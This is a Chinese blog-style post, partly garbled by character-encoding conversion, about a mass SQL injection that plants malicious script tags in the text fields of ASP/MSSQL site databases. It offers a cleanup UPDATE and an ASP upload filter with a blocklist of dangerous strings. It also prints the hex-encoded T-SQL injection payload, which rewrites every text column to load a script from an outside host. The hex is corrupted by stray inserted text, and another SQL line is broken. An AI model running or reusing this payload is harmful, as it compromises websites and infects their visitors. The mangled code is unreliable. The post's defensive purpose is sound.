mssql的每個varchar、text字段都被自動插入一段js代碼，即使刪除這段代碼，如果沒有從源頭上解決，幾分鐘后，js代碼就又會自動插入數(shù)據(jù)庫。
經(jīng)過飄易的觀察，這很有可能是程序自動執(zhí)行的，黑客先從搜索引擎google、百度等搜索存在漏洞的采用asp+mssql設(shè)計(jì)的網(wǎng)站，然后采用小明子這樣的注入掃描工具，掃描整個網(wǎng)站，一旦發(fā)現(xiàn)有sql注入的漏洞或者上傳漏洞，黑客就通過各種手段，上傳自己的大馬，如海陽木馬；然后，黑客就把這個網(wǎng)站納入他的肉雞列表，隨時在數(shù)據(jù)庫里加入自己希望加的js代碼，而這些代碼往往是包含著眾多的的病毒、木馬，最終讓訪問受控網(wǎng)站的用戶的電腦中毒。
雖然，可以通過sql查詢分析器執(zhí)行批量代換，暫時解決被插入的js代碼問題，然而不從根本上解決整個網(wǎng)站存在的漏洞，包括程序上和服務(wù)器安全權(quán)限，那么黑客還是隨時可以入侵你的網(wǎng)站數(shù)據(jù)庫。
在sql查詢分析器里可以執(zhí)行以下的代碼批量替換js代碼：

復(fù)制代碼 代碼如下:

“ update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ”

復(fù)制代碼 代碼如下:

''===============判斷上傳文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '讀取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("<script>alert('您上傳的文件有問題，上傳失?。?);history.back();</script>")
Response.End
end if
next
''=================判斷上傳文件是否含非法字符串end===================

復(fù)制代碼 代碼如下:

SQL="select * from 表名 whereid")

復(fù)制代碼 代碼如下:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才網(wǎng)() 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--